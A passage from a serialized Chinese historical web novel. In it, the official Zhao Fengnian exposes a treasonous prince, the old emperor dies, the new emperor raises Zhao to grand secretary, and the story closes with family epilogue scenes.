西北军的常将军被打下大狱了,镇北军跟青峰山的山匪们守住了城墙,还活捉了不少戎人,那些戎人都说听命于五皇子,而征西大将军张康带着兵马从天而降,对着五皇子就是破口大骂。 “常胜本来也是嫉恶如仇之人,我当真是没想到他会跟五皇子设了这么一场戏,他万死不不足惜,只是,他家中还有老母幼子,不知赵大人可否在折子里同陛下求求情?” “勾戎县死的又何止老人孩子呢?他们又何错之有?西北之地饱受伤害的百姓又何错之有?我知大将军念及同袍泽不忍心,只是勾结通敌,这是诛九族的死罪,倘若常胜能如是告知前后经过,陛下说不定还能从轻发落他的老母幼子,否则” “我明白,我一定会让他把能说的都说出来!只是五皇子那边?” 赵丰年挑眉,“我听闻五皇子十五岁起就开始在西北军营中历练,大将军也算是他半个师傅,只是,天子犯法都与庶民同罪,更何况皇子乎?再者,我等自然无有治罪皇子的权利,此事,我都会交由陛下,呈上朝廷,大建军就莫要干涉了。” 张康叹了口气,“是我辜负了陛下的期许。” 这话张丰年就没法接了。 “不过,你是如何知道那些戎人据点?” 这就要说到那日跟青峰寨的人逃离青峰山后了。 那日,众人逃生后,二当家就告诉了赵丰年起初冒充山匪在西北各地横行、屠灭整个勾戎县的戎人消息。 “消息可靠?” “我们这五年来,一直躲躲藏藏,就是为了能暗中查出起初的情况,自从发现了那伙山匪不对劲,又从遗落在勾戎的戎人弯刀猜出真相,就到处寻找那伙人的踪迹,绝对不会有错。” “谁会知道,就在北地隔壁,戎人的眼皮底下,竟有这样的一个戎人聚集地。” “从前他们时不时就要来西北掠夺一番,西北的百姓都战战兢兢,五年前那件事发生后,也不知道是避风头还是怎么的,就不怎么来了,直到去年开始,他们又渐渐卷土重来了。” 五年前,正是赵丰年去北地的第二年,那时候估计那些戎人开始往北地迁徙,第三年的时候进了北地,而去年开始,戎地臣服大夏,所以那些戎人又回到了西北,在这里兴风作浪。 “我会派人前去查探。” “青峰寨之人虽说是山匪,却不似其他山匪无恶不作,实在是因为家破人亡,不得不抱团取暖,我也已经上奏朝廷,免其死罪。” 张康一脸复杂,“难为他们了,这事我西北军罪不可赦,我西北军也一定会帮扶这些百姓。” 赵丰年笑,“大将军果然不愧是西北脊梁。” 战后,赵丰年就将自己查到的事以及这段时日发生的所有事都整合成折子发往了京城,另修书一封,给了顾子升,这一回,还是大胖去寄信,但是赵丰年相信,五皇子这次不会再有机会截拦了。 “这些证据真的能掰倒五皇子吗?” 二当家看着赵丰年,目光执拗。 “他是皇子,倘若陛下当真想要保儿子,单凭这些证据也许还不行,但 是有的是人等着抓他的错处,想要让他陷入万劫不复。” 二当家没说话,良久。 “我会一直留意这件事。” “你们提供了那帮戎贼的线索,我已经跟朝廷上奏让你们功过相抵,往后,好好带着大家过日子吧。” “赵大人,谢谢你。” 赵丰年张嘴,却又放弃了。 他知道,青峰寨的人会永远记得这段仇恨,带着这段仇恨活下去,可是,人不能永远活在仇恨里,那跟报复自己又有什么区别。 “现在的驿站通信传递消息都太过繁琐缓慢,我有意建设新的驿站传信系统,届时,全国各地的消息都会及时相互送到,最后传回京城,让人有冤可诉,有情可陈,再不会出现勾戎县这般,有疑的案子被掩埋,无人知晓的情况,也许,你愿意加入进来?” 二当家怔愣。 “当然,这还是我的一个初步想法,等回了京城,我一定劝陛下施行下去,届时,我希望你能带着弟兄们做好西北站的工作。” 二当家冲赵丰年行了个大礼。 “多谢赵大人!” 八百里加急的信件奏章送到京城,顿时震惊朝野,谁都没想到,五皇子竟然如此胆大包天,为了立功,竟通敌残害自己的百姓。 天元帝脸色难看,怒急攻心,竟然直接在朝堂上吐出了一口鲜血。 “五皇子勾结外敌,通敌卖国,生生把陛下气吐血了!” 五皇子党的人一片愁云惨雾,而太子党,若不是不合时宜,都想仰头大笑了。 得知天元帝病重的消息,五皇子再也顾不上赵丰年,直接带着人马回京。 而赵丰年也收到了诏令,准备回京城了。 第89章 第89章风云欲起 赵丰年几乎是前脚刚回到京城,后脚京城就戒严了。 “陛下被五皇子气得吐血,五皇子几乎是无缘那个位置了,刚到京城就被控制了起来,如今五皇子府被围得水泄不通,只等陛下醒过来裁决。” 顾子升星夜而来,告诉了赵丰年朝中情况。 “太医怎么说?” “说是将养好了,许是能熬过年节,只是往后不能再处理朝政了。” 天元帝年纪上去后,对权利的渴望把控都到达了极点,想让他撒手不管朝政,无疑是在他的痛点上踩上一脚。 朝中风雨欲来,赵丰年本想避开,却被宣召入了宫。 天元帝瞧着气色很不好,精神不济,赵丰年匆匆一眼,便低头顺目了。 “赵爱卿,五皇子在西北一事,可属实?” “回陛下的话,人证物证俱在,常胜也已招供,征西大将军亲自审的人,料想不会有错。” 这些东西早就送回了京城,赵丰年不相信天元帝不知道此事,帝王心,海底针,他不知道天元帝是想要迁怒他这个找出真相的人,还是愤怒于五皇子的欺君残暴。 “你可知,起初听闻有你这一号人之时,朕曾想过直接点了你官职?” 赵丰年俯身,“陛下素来爱惜人才,敢为人所不敢,不惧流言,又对臣有知遇之恩,臣感激不尽!” “好一个不惧流言,朕确实想过,倘若你当真如传闻一般天才,就不顾反对之声让徐钰带你入京为官,但是徐钰跟傅青云为你求了情,言你走科举正途才能走得更远,为了将来太子能有帮手,朕放弃了,后来,你果然不负众望走到了京城,立下了种种大功,外头都说,你收服戎族,有封侯之功,但你猜,为何朕对你没有大肆封赏?” “陛下对臣的一番关切爱护,臣都铭记在心,忠君报国这些本就是臣的本分,在其位谋其事,陛下已经赏赐臣很多了,再赏赐臣,怕是引其他人侧目不满,也是出于对臣的保护,臣感激都来不及,安敢再求封赏?” 天元帝没说话。 又过了一会儿。 “所以,这次朕依旧并不大算封赏于你,你可有异议?” 赵丰年叩首,“职责所在,不敢求封赏,只愿陛下保重龙体。” “老五这事,传出去有损皇家颜面,你可知怎么做?” 赵丰年肃了表情,“陛下可知,勾戎县人口几何?” “朕自会惩治他。” “两万五千四百五十二,这是勾戎县的人口,那是个小县城,地处西北,生存环境恶劣,可他们依旧坚持落叶归根,日出而作日落而息,只想过好自己的小日子,陛下,他们是大夏子民,只是拿起了拳头捍卫自己的家园,又有何之错?” 赵丰年感觉到一股视线正如炬般盯着自己,额角不自觉冒出冷汗。 良久。 “跪安吧。” “是,陛下。” 从养心殿刚出来,赵丰年才感觉到后背已经湿透了,而后就看到了太子殿下。 “微臣参见太子殿下。” “赵大人何必多礼,赵大人也看过父皇了,这是准备要出宫了?孤送送赵大人吧。” 两人走在长街上,一如过往。 “父皇还是想保下五弟?” “殿下不是已经将此事传了出去吗,陛下怕是保不住人。” 太子殿下笑,“我就知道,阿年懂我!你在西北一切可还顺利?” “托殿下的福,算是全须全尾地回来了。” 两人一个对视,太子殿下就明白了赵丰年已经知道选了他去西北的真相了。 “阿年啊,并非我有意欺瞒你,这不是,还没证据的事嘛,再说了,谁不知道你是我的人,我那五弟对你可是怀恨已久啊。” 赵丰年嘴角直抽,“这原也是托殿下的福了。” “好说好说。” 行至宫门口,太子殿下正了色。 “我知你心中所优,你放心,无论是出自什么目的,我绝不会拿平民百姓的性命博弈,我也是有自己的底线的,你可以不信,但是不妨好好看看,看看我是否能成为你理想中的君王。” 赵丰年已经信了,勾唇一笑。 “殿下,这还没出宫门呢,这话就不怕被弹劾?” 太子也笑,“徐钰忙着弹劾五弟了,哪里还顾得了我。” 就在满朝文武都在担心着天元帝的病的时候,第二天,天元帝竟然上朝了,看着精神也尚可,这个时候,都察院的御史就站出了列。 朝会主旨只有一个,那就是惩戒五皇子。 天元帝高高在上,看不清神情,没说可也没说不可。 “陛下膝下空虚,除了太子殿下还有五皇子两位皇子,其他的皇子要么没长成,要么还在襁褓,最大的也才五岁,而陛下的身体,怕是等不到九皇子长大成人了。” 赵丰年听着众位大人的议论,并不发声。 “赵大人——” 赵丰年回头望过去,竟是张谦。 “张大人,一向可好?” “都好,赵大人也安好?下官老家之人前些日子送了些怀江府特产来,本想给大人府上送去,却想着大人不在京城,怕是惊扰了府上,如今大人回来了,可算是能给大人送过去了。” 赵丰年了然,“张大人有心了,本官确实许久不曾吃过家乡特产了,那今日下值后,本官就在府上等着了。” “不敢不敢。” “张谦这是要站队了?”看到这一幕的官员不禁思索。 “他们二人本就都是怀江府人士,天然就是一体,咱们这些人想要靠上去还不容易呢,张侍郎倒是个运气好的。” 朝堂上君臣僵持了半月余,最终,天元帝还是下了令。 “只是去守皇陵也太便宜他了!”大胖义愤填膺。 “毕竟是亲生骨肉。”而且对于五皇子而言,去看守皇陵,远离政治中心,变相剥夺了继承权,可能比直接杀了他还难受。 “陛下还真的就不给你赏赐了啊?好歹经历了生死,又立了这么一个大功,哪怕不给你升官,赏点金银财物呢,也太小气了。” 赵丰年整理好驿站送信改良的计划书,准备明日上朝提出来,听到这话也不起波澜,“正常,儿子被抓了错处,避无可避要处罚孩子,总要找一个罪魁祸首发泄一番。” “这也太过分了。” 其实不止大胖,就是朝堂其他官员,也暗中替赵丰年鸣不平。 去傅府探望傅青云的时候,傅青云也安慰赵丰年。 “陛下老了,开始钻牛角尖了,这事是你受了委屈。” “我这又算得了什么,只是我答应了青峰山的百姓,一定为他们跟他们的家人讨回一个公道,如今五皇子虽去守黄陵,却还是保留着皇子的身份,一辈子足以荣华富贵,逍遥一生,是我愧对西北的百姓。” 傅青云叹了口气,“你就是太良善了,说来也奇,你自小不同于旁人,虽出身农家,却气质出众,可反过来,又 能共情百姓,是以百姓们也信重你,只是这朝堂之上,哪有什么非黑即白的,既然身处高位,就要知道,有些事不能做,有些事做不了,我再教你一句,要学会放过自己。” 赵丰年苦笑,“也许,我更适合做一个父母官。” “但是阿年,你只有站得更高,才能更好地为百姓发声,更好地将你的抱负施行下去,国家昌盛,四海安康,百姓才能安居乐业。” 赵丰年沉默片刻。 “多谢老师,学生受教。” 从傅家出来,第二天,赵丰年就去了趟工部。 “阿年,你怎么来了?”傅玉书惊讶地看着女婿,一边努力回想最近工部有什么涉及到内阁或礼部的。 “岳丈大人莫要想了,我今日是来给工部献个方子的。” “哦?什么方子?我听闻你在北地弄出了不少好东西,只是工部目前掌握宣传出去的还只有你那改良的纺织机,既然是献方子,那就是公办,赵大人这边请。”傅玉书双眸含笑,他确实很欣赏自己这个女婿。 赵丰年也没推诿,被引着进了工部。 第二天,工部尚书便跟天元帝盛赞了赵丰年的大公无私,引得整个朝堂为之侧目。 第三天,赵丰年在朝会上说出了自己关于驿站送信的看法以及改进,满朝文武激烈讨论之下,天元帝准予施行。 第四日,农部力赞赵丰年的灌溉理念以及曲辕犁的推广,同时提到推广堆肥制肥的进程。 第五日,户部献上了一份新式记账统计方法,称此法大大简化了工作流程,乃是赵丰年提出改良。 第六日,大理寺跟刑部得知了一种新的技艺,能简简单单几笔,勾画出嫌犯模样。 而赵丰年这个名字,真正做到了无人不知无人不晓。 太子对赵丰年的各种冒头行为表示大力赞赏,同时,看赵丰年的目光充满了势在必得。 “我一直就知道你并非常人,只是我万万没想到,阿年你竟是这般的全能,能得你一人,便能富国!” 天元帝也这么想。 “此子注定是为官做宰的苗子,只是没想到,他还有这么多惊喜,立民啊,你说,朕是不是真的该退位了?这天下终究是年轻人的天下。” 周立民今日是奉旨进宫陪天元帝下棋的,这话他哪里敢接。 “朕因老五的事迁怒于他,他也心知肚明,却用这种方式提醒朕,谁才是为江山社稷着想之人,子振年事已高,去岁便提了告老还乡,朕本欲将这个位置留给他,如今看来,果然还是年轻人沉不住气,也合该再历练历练!” 天元帝表面是对赵丰年此番行事不满,实则却更放心了,周立民看出这点,不由得提赵丰年松了口气,经过这回,他对付五皇子那事的坎才算从天元帝心里迈过去。 “说起赵大人,说来,臣也算是跟他有缘,这赵丰年,起初险些成为了臣的弟子。” 天元帝大笑,“朕也略有耳闻,可见,你跟傅青云都是有眼光的。” “臣不如傅青云多,端看太子殿下,便知傅青云是会教书育人的。” 天元帝没话说了,周立民点到即止,只品了口茶。 许久,天元帝叹了口气。 “你说的对,太子被教得极好。” 刚翻过年,傅轻雪跟阿彩就先后怀孕了。 巧娘赵来贺高兴不已。 “就是如今月份还小,不好大肆庆祝,只叫人也去傅府传个信吧,好叫他们也高兴高兴。” “是这个理!” 傅家得知消息也十分高兴,送了一不少傅轻雪爱吃的爱玩的东西来,傅夫人更是亲自过来瞧了女儿。 “头先阿年不在的时候,我盼望着他早些回来,如今他回来了吧,又整日忙得没个停歇,我就更担心了,好在也算是有了孩子了,我这心里也就放心了,就是你如今怀了身孕,那些生意上的事,就少劳累些。” 傅轻雪笑了笑,“阿年一直有去海外寻找更广阔天地的想法,如今他在朝堂上做事分身乏术,那我就替他完成,这事娘你就别担心了,我已经去了信给北定府,阿年的几位姐姐会来帮忙,我肯定不会不爱惜自己的身体的。” “那就好!” 与此同时,赵家还有一个好消息,赵有志中了举,要来京城参加会试。 赵有志一月底到了京城,巧娘见到人很惊喜。 “你这孩子,怎么早些时候中举了都不告诉我们呢!彩云没一起来?” 赵有志笑了,“我的名次不高,就没往京里送信了,想着反正年后要来,本想早些过来的,只是彩云又有了,才耽误了些功夫。” “彩云又有了?哎呦,这可真是大喜事,说来,咱们家如今也有两桩喜事,大胖跟阿年媳妇也都有了身子,等回头你过了会试殿试,那咱们家今年喜事可了不得了!” 赵有志自然是替赵丰年跟大胖感到高兴。 晚上,赵丰年回来,一家人吃饭,赵有志也跟他们说了家里的事。 “二胖成亲了,娶的是陈家湾的,前面你们一直没来信,大家怕你们忙,没告诉京城这里,后面咱们听说阿年去西北打仗去了,二爷爷他们担心极了,二奶奶还病了一场,好在后面请了府城的大夫,吃了一阵子药也好了。” 听到张氏生了病,赵丰年有些惭愧。 “去年确实不太平,如今没事了,我明日便修书回临县,如今朝廷已经在推进驿站工程了,等落实下去,往后京城到各个地方寄信也好,送东西也罢,都方便。” 赵有志笑了,“我在来的路上就碰到了,还有修水泥路的,我一看就知道是阿年的手笔,等会试结束,运气好殿试后,我就去地方做个父母官,以后朝廷上阿年跟那些大人们发布政令,我就负责推行实施。” 一家人都对未来充满希望。 而让人万万没有想到的是,会试刚过,天元帝就不行了。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【正文完】 第90章 第90章首辅 “过年那会儿不是还好好的嘛?宫宴上还能饮酒,怎么会这么突然?” 赵丰年赶往宫门的时候,刚好碰到了顾子升追问一个小太监。 “子升兄——” “阿年!” 皇帝病重,又召集众位大臣进宫,眼看人越来越多了,赵丰年冲他使了个眼色。 “一起过去吧。” 顾子升点点头,没再说什么。 到了给大臣们准备的侧殿,赵丰年看着已经赶到的几位阁老,意识到天元帝怕是真的不好了。 众人等了约莫半个时辰,天元帝身边的吴存善走了过来,请几位阁老,还有赵丰年一起过去。 陛下要见几位阁老,肯定是涉及储君继位跟江山社稷的大事,只是谁都没想到,这里面还有赵丰年的事。 “几位大人,请吧。” 顾子升有些担忧地看着赵丰年,赵丰年冲他不露痕迹地摇了摇头,起身跟在几位阁老身后,一同进去了。 一到皇帝寝殿,就闻到一股浓烈的草药味。 周围传来低泣声,想必是后妃,赵丰年不敢随意抬头,只跟着几位阁老,在龙床前跪下。 “陛下,阁老们,还有赵大人都到了。”吴存善 上前,带着哽咽轻声说道。 不知天元帝说了什么,没一会儿,整个寝殿就只剩下了天元帝还有阁老们跟赵丰年了。 太子离开的时候,在赵丰年面前顿了顿,赵丰年眼观鼻鼻观心。 “几位爱卿都是朕看重之肱骨。” 几人忙跪拜感恩,还有人偷偷看了眼赵丰年这个后辈。 天元帝嗓子嘶哑,又咳了几声,“朕之大限就快到了,最放心不下的就是这江山社稷,太子自幼聪慧过人,又有仁爱之心,乃明君之相,能当大任,继承大统,朕去后,你们定要好好尽辅佐之能,护江山安稳。” 阁老们泣涕直下,“臣等遵命!” “你们去吧,赵爱卿,你留下。” 几位阁老惊讶地看了眼赵丰年,赵丰年继续低头跪着。 而门外众臣看到几位阁老走了出来,却没看见赵丰年,一时间纷纷百味交杂。 不知不觉,赵丰年竟然也成了天元帝绝对信任之人。 殿内。 “赵丰年,你上前来。” 赵丰年跪行几步。 “陛下,可是还有何吩咐?” 天元帝努力看着赵丰年,“你很聪明,太子也很信重你,太子确实仁爱不假,但也爱恨分明,老五在西北之事,触及了他的逆鳞,他势必不会让老五好过,除了你,朕再也想不到谁能劝得住太子,避免手足相残。” “陛下是说,让微臣劝太子殿下留五皇子性命?” “倘若你应下,文渊阁大学士便是你了。” 赵丰年垂眸,“陛下怕是忘记了,太子殿下贤明,哪怕是微臣不做这个大学士,他日太子殿下亦不会亏待了微臣,从某一方面来讲,太子殿下委实像极了陛下。” 天元帝恍惚,“太子像朕?都说太子不肖朕,老五才最像朕。” “陛下起初刚得知微臣所为,便开始关注微臣,而后险些要钦点微臣为官,不正是跟太子殿下一般,求贤若渴吗?再者,五皇子所行之事,陛下定然也是心痛万分,恨他走错了路,太子殿下未尝不是心痛于弟弟的残暴不可挽回,当然,这只是微臣自己所思,此外,陛下难道就未曾想过,是太子殿下不放过五殿下,还是五殿下会不放过太子殿下呢?陛下,微臣看到的是五殿下不择手段残害百姓,恕臣不能担此大任了。” 天元帝一脸复杂,终究是闭了闭眼。 “你果然是不同的。” “赵丰年,有你辅佐太子,朕很放心,他日,倘若老五有不臣之心,可杀之。” 赵丰年面无表情走到门口,在推开门的一瞬间,换上悲痛的表情。 见众人抬头看过来。 “陛下,薨了。” “父皇——” “陛下——” 先帝新丧,国却不可一日无君,太子继位是板上钉钉的事情。 就在众人都忙着为先帝吊唁,或为新军登基操办事宜之时,却有一部分人将目光放在了赵丰年身上。 如今,谁都能肯定赵丰年会成为新帝眼前的红人。 先帝最后一个见的人是他,新帝指定操办登基仪式的人也是他。 对此,赵丰年只叹息自己还背着礼部尚书的职责。 新帝登基后,第一间事便是大赦天下,同时论功行赏。 赵丰年不出意外成了文渊阁大学士,兼任礼部尚书,与此同时,傅玉书提出了请辞,新帝挽留再三,最终将人调去了国子监。 众人看得分明,这是在给赵丰年铺路,翁婿同朝为官,傅玉书自然不能占着六部的实职。 正如众人所料,新帝十分满意傅玉书知情识趣,赏赐了傅家不少好东西不说,更是升了傅时瑾的官职,众人见状,纷纷夸傅玉书这个请辞很值得。 新帝是个勤勉的,刚登基就召集了内阁议事,第二日在朝堂上宣布了数十条政令,文武百官在听着宣读的时候,目光不自觉就看向了如今已经站在第一排的赵丰年身上。 “十二条政令,十条都是赵大学士此前推行的,这内阁首辅怕是不日就要让位了。” “倘若这些政令真能顺利推行,赵阁老就是大功臣,如今虽无首辅之名,却已有首辅之权。” 就在京城全城缟素之时,朝廷准备推行新的政令之时,皇陵传来消息,五皇子叛逃了。 文武百官还来不及感到惊讶,第二天就又有消息传来,说五皇子联系了旧部,打着清君侧的名号,要推翻新帝。 群臣惊讶之余,也发觉了赵丰年这此间推进的这个驿站组织做得甚好,就凭这一点,贻误军机的事情势必要少很多。 “叛军在西北地联系的旧部,经过青州岚州平西等地,为今之计,是速速将叛贼拦在青州。” 新帝定年号永兴,此时,永兴帝看着下方,点了赵丰年的名。 “赵爱卿,你怎么看?” “回禀陛下,孙大人所言极是,西北征西大将军在,叛军能联系的叛军旧部不足万人,就怕进入青州招兵买马,将人拦在青州之外再好不过,至于人选,参考此前西北之事,镇北军可跟青州驻军联合抗敌,” 兵部孙尚书复议,永兴帝点点头。 “那就命樊义率青州驻军迎敌,柳大尺率北定府驻军支援!” 柳大尺经上次一战,已经被封为了宣武将军,倘若这次立功,还能再升一升,陛下这是赏识柳大尺,也是看中赵丰年呢。 赵丰年说完便退回了队列之中。 下朝后,赵丰年被请去了御书房。 “先帝临死前有旨意,叫朕不得杀仁王,甚至让你阻拦朕,阿年,你说说,先帝到底看中他哪里?” 新帝登基后就给兄弟姐妹例行封赏,五皇子虽远在皇陵,先帝却到底没废他皇子的身份,永兴帝封了他个仁王,也是促狭了。 “陛下,先帝只是不想见到兄弟相残,先帝临死前,跟诸位大人都夸了陛下有君王之风,自然不是仁王能比拟的。” “他不过是觉得仁王肖他罢了。” 这话跟先帝说的都差不多,所以赵丰年就说吧,明明这位才是跟先帝最像的啊。 “总之,你把你攻打戎地那些东西都交出来,朕要让他知道,跟朕对上,如蚍蜉撼树。” 赵丰年略惊讶。 “得了吧,你那些东西瞒得住旁人,瞒不住朕,要不是朕替你打掩护,你以为先帝那么轻易放过你?” 赵丰年当然知道,而且这东西他后面就没打算隐瞒,也瞒不住,明里暗里透露出去,本想看看朝廷的反应,谁成想天元帝一点反应都没有,赵丰年还以为天元帝以为这是小把戏呢,合着全被这位爷给拦了下来。 是啊,比起老爹的名声,好事自然还是在自己在位的时候发生比较好。 赵丰年假装没看到皇帝眼中的光芒与野心。 “微臣只当是小打小闹,既然入了陛下的眼,不如喊了工部来,陛下,火药非同小可,定要掌握在朝廷手中,不使流入民间,一旦被有心之人掌握,定然引起大祸,这也是臣一开始就担心的事,是以,也没敢提出来。” “行了行了,知道你谨慎,朕还不知道你,既然这样,就让工部立专事衙门负责此事,就叫火药局吧,正巧傅玉书退下去了,工部还缺个侍郎,就先去管火药局,依你看,何人可胜任?” “陛下这是让微臣拉拢人心啊。” 永兴帝笑,“朕自然是相信你的。” “陛下,如今要研制火药兵器,成立新的衙门,那对新式样武器的操练不不可少,是否也要单独成立新的军营将士?如此一来,就涉及兵部、工部两部的事情,而军费又牵扯到了户部,怕是需要几部大人一起商讨一个方案出来。” 永兴帝采纳了,“阿年果真不愧是朕之智囊。” 不过几日,工部就多了一个火药局,顾子升调任工部侍郎兼火药局大使,不同于以往的工部官员边缘化,这个火药局是实打实的实权衙门,顾子升十分激动。 与之对接的是户部侍郎张谦,是以,张谦也十分开心,虽然是要扯皮拿银子的,但是入了皇帝眼了啊! 除此之外,朝廷打算成立神机营,专门操练火药武器,成为京营之一。 京城紧锣密鼓,一批批的火药从新修的路送往西北,很快就传来了捷报。 三个月后,仁王被押回了京城,这场叛乱像是一场闹剧,最终落下了帷幕。 赵丰年最后见到仁王,是在大理寺。 “赵丰年,本王就知道你会来的,你想杀本王替那些贱民报仇,本王知道。” 赵丰年看着他,面无表情,“我答应了他们,自当履行诺言。” “可惜呀,你杀不了我,我们的皇帝为了彰显他身为兄长的情谊,也不会杀本王,你就算再位高权重又如何呢?本王就算没了自由被圈禁,也照样能安康一世,本王最后悔的是,没能早些杀了你,亏本王起初那般看重你。” “起初我去西北,不就是王爷故意露出破绽引让陛下选了我吗,王爷想把我引去西北,杀而后快,如今不过成王败寇罢,所以,王爷今日想见我又是何事呢?” “父皇临死前跟你说了什么?” 赵丰年看了他一眼,“王爷安心,陛下没有丝毫打算将皇位传给王爷的意思,王爷也可死心了。” 仁王双眼泛红,“父皇最终还是不忍心罚我,要不是西北之事,皇位还指不定轮到谁,我没输!” “不,你输了,先帝说,太子殿下乃明君之相,理应继承大统,而五皇子若有反心,可杀之。” “不不不,不会的!父皇有旨意,皇帝不能杀我!” 赵丰年最后看了他一眼,离开了。 他刚出了大理寺,就将一小太监侯在大理寺门口,说陛下召见。 “你见到他了?仁王如何?” “仁王乃陛下兄弟,自然不会有人亏待。” “你在怨朕?” “不敢。” “你就是想太多,你放心吧,来看看这个。” 赵丰年走近,竟然是一道将仁王贬为庶民的旨意。 “他是皇亲国戚的时候朕不能落人口舌,有时候,活着也未尝不是一种折磨。” 赵丰年了然。 “臣替西北百姓谢过陛下!” “起来吧,这事已了,往后你就别藏着事了,如今可以跟朕好好说说你哪个海外计划了吧?” 赵丰年笑,“遵命,陛下。” 他想,永兴帝确实是一个明君,至少此时的他,是个明君。 京城下起第一场雪的时候,赵府传来了孩子的哭声。 “跟宝儿一样,也是在下雪天气,我还记得,宝儿出生那时候,雪下得可大了,我心里害怕得不行,生怕孩子生下来要挨冻受凉,这一眨眼,宝儿的孩子都出生了。” 巧娘想到过去,感慨万分。 “谁说不是呢,好在,以前再难也过去了。” 赵丰年跟傅轻雪商量着,为孩子取名叫赵瑞安。 “只盼他生在盛世,平平安安。” 永兴四年,大夏的船队发现了海外大陆,带回了很多新的种子还有金银器皿,以及外邦的知识,不同的文化相撞,注定开出更盛大的花朵,从此,大夏沿海经常可以看到不同面貌的商人往来络绎不绝。 永兴五年,大夏朝的交通四通八达,驿站快递点站密布,火药广泛用于军队,还训练拥有了自己的水师,真正做到了四海无人敢犯。 永兴六年,皇帝拜赵丰年为内阁首辅,无人不服,从此演绎了一场君臣相得的传奇。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 番外一 第91章 第91章番外一 赵瑞安出生后,赵丰年提起了把赵老头张氏接来京城一起生活,家里人都没意见。 赵老头张氏今年都六十几岁了,放在大夏算是高龄,赵丰年不放心,特意多雇些人一路照顾着,大胖笑着应下了,只等阿彩生完就回怀江府。 大胖在京城郊外开了一家跑马场,里面的马都是拓九从戎地弄来的良驹,吸引了不少王宫贵族的公子哥们前去,如今生意大好,本来离不开他这个老板,只是刚好青青翠翠都在,索性将马场角给了她们帮忙打理,高高兴兴回了老家,他也想把父母弟弟都接到京城,一起享天伦之乐。 赵家村的人得知赵家一家子要搬去京城生活了,都十分羡慕,只是赵老头却有些不太乐意。 “我们都这把年纪了,说不准哪天人就走了,还去折腾什么,你们的孝心我们都知道,大胖你只带你爹娘还有二胖去就行了,我们在村里生活了一辈子了,临老了就想在这里落叶归根。” 王三娘虽然也忐忑即将去一个人生地不熟的地方,但是更多的是对京城的向往,便劝慰他们,“宝儿也是孝顺,说的也在理,如今爹娘你们年纪都大了,大毛病小毛病也都有,到了京城还能请最好的大夫瞧瞧看顾着,虽说如今咱们这里也是好过了,毕竟比不上京城的。” 大胖头一回发觉他娘劝人很有一套,不禁觉得好笑。 “娘说的太对了,爷,奶,你们真应该去,也不愁住不下,陛下看中阿年,赐了好大一座宅子,便是咱们这些人都住进去都不成问题,再说了,如今我经营了一家马场,也置办了自己的房子,三近的大宅子呢,你们到时候也不愁没事做,隔三差五地两边都看看。” 二胖闻言也有些犹豫。 “要不我就不去了吧,大哥你在京城已经很不容易了,带着爹娘还要,哪有带着弟弟一起的。” 王三娘有些不乐意,虽然以前她偏疼大儿子,可这么多年了,一直是二胖在他们面前尽孝,要是二胖不去,她都不想去了,只是到底两个儿子都成了家,她就是再不懂事,也不能要求大儿子一定要带上二儿子,没这样的道理。 “你还真得去,我那马场如今正缺人手呢,你赶紧去给我帮忙!你看看柳家两位兄长,就是早些时候相互帮扶,如今一个比一个好,柳家人一早就都搬去了北定府,我们兄弟好好干,又有宝儿支持,肯定能在京城闯出一片天来!” 赵来金看着这一幕十分欣慰,“是了是了,兄弟齐心,其利断金嘛。” 家里人劝完,村里人也来劝。 “宝儿如今是当了大官了,这都是孩子的一片孝心,你们不去,旁人指不定还要说他忘本不孝呢!” 这话才是触动了赵老头跟张氏。 他们享不享福没事,但是要别人因为他们不去说孙子的不好,那他们就不乐意了。 “你们先去,往后说不准我们还能在京城碰面呢!”这话是赵大伯赵来富说的,赵来富的爹,赵老头大哥两年前去了,如今赵大家就剩下赵来富夫妻跟赵有志媳妇还在。 赵来富说这话是因为赵有志当了官了,虽然被外派了,但是不知是不是看在赵丰年的面子上,竟分去了青州一个富裕的县城,赵来富一家只等秋收后就前去青州跟他团聚,只要赵有志好好干,朝中又有人在,顺利回京也是迟早的事,赵来富不止一次两次说当年自己把儿子送去赵丰年身边的决定多么正确了。 “没有宝儿,就没有有志的今日,也没有我们家的今日,我们还指望以后去了京城再跟你们一起聚聚呢!” 赵家人都对未来充满希望。 赵家村这些年大家生活如意,许是生活好了,人的精神也好,如今赵大山这个村长也还健硕,大胖找到他说赵丰年出了银子打算再给村里族学置办学田,赵大山精神奕奕召集了族老乡亲们说这事。 “今年咱们族学里有不少好苗子呢,童生就有五个了!往后一定叫他们好好珍惜,向宝儿学习!做个好官!” 临走前,赵大胖还特意打听了一番赵老二跟赵老三的情况。 村长儿子赵来元叹了口气。 “也算是恶人有恶报,来喜叔夫妻二人从北地回来后就疯了,整日疯疯癫癫一会说要女儿,一会儿又嚷着去找儿子,那赵柱子当真是个薄情寡义大不孝的,竟对他们不管不顾,听说他们找上门去后,他直接叫人将人打发了出去,村里看着不忍心,去年本想去把他们带回村里,疯癫什么的,大不 了关在家里,总归是少不了他们一顿饭,谁成想,他们失足落了水,竟就这样去了,后头赵柱子所作所为被发现了,被革除了秀才功名,又被钱家嫌弃得不行,只是钱家败落了,一家人都窝里斗,如今日子也不好过。 至于你三叔,他后面又去陈家湾求了几回莲婶,不过都被打发了,阿玉索性带着莲婶一家都搬到了府城里,招了个知根知底的赘婿,家里经营着纺织厂,日子过得也好,后面听闻来庆叔离开了怀江府,就没找到人了。” 大胖也不禁唏嘘。 “所以这做人,还是要讲良心的。” 赵老头、张氏年纪大了,路上不好赶太快,这样一路走来,初夏才到了京城。 “这就是京城啊,果然跟咱们小地方不一样,真热闹啊。”王三娘不禁感慨,又有些拘谨。 “这京城里的路也好,又宽又平坦!”赵来金直看得不错眼。 “这就是你说的宝儿在北地弄出来的好东西吧?这路果然是好,跟整块的石板似的。”赵老头虽然一路赶路,但是儿孙都没叫他吃一点苦头,因此此时精神也还可以。 “还不止呢,爷,这东西修城墙也是好的,说是工部已经发了文书到各州府去了,等再过几年,咱们老家的路也能跟这里一样好,到时候回去瞧瞧都方便的。” “真好啊。” 得知赵老头张氏一行人到了京城,还没回北地的赵青青跟赵翠翠忙赶过来见人。 祖孙几人抱着哭了一场,王三娘跟赵来金可不知道赵青青赵翠翠还活着,见状惊讶不已。 张氏笑话他们没见识,“也不怪瞒着你们,往前在村里,老大媳妇你是个藏不住事的,到时候旁人知道了对几个孩子们都不好,如今在京城,无论是阿年,还是大胖二胖他们,都是要讲究名声的,你们也要继续当作不知道才好。” 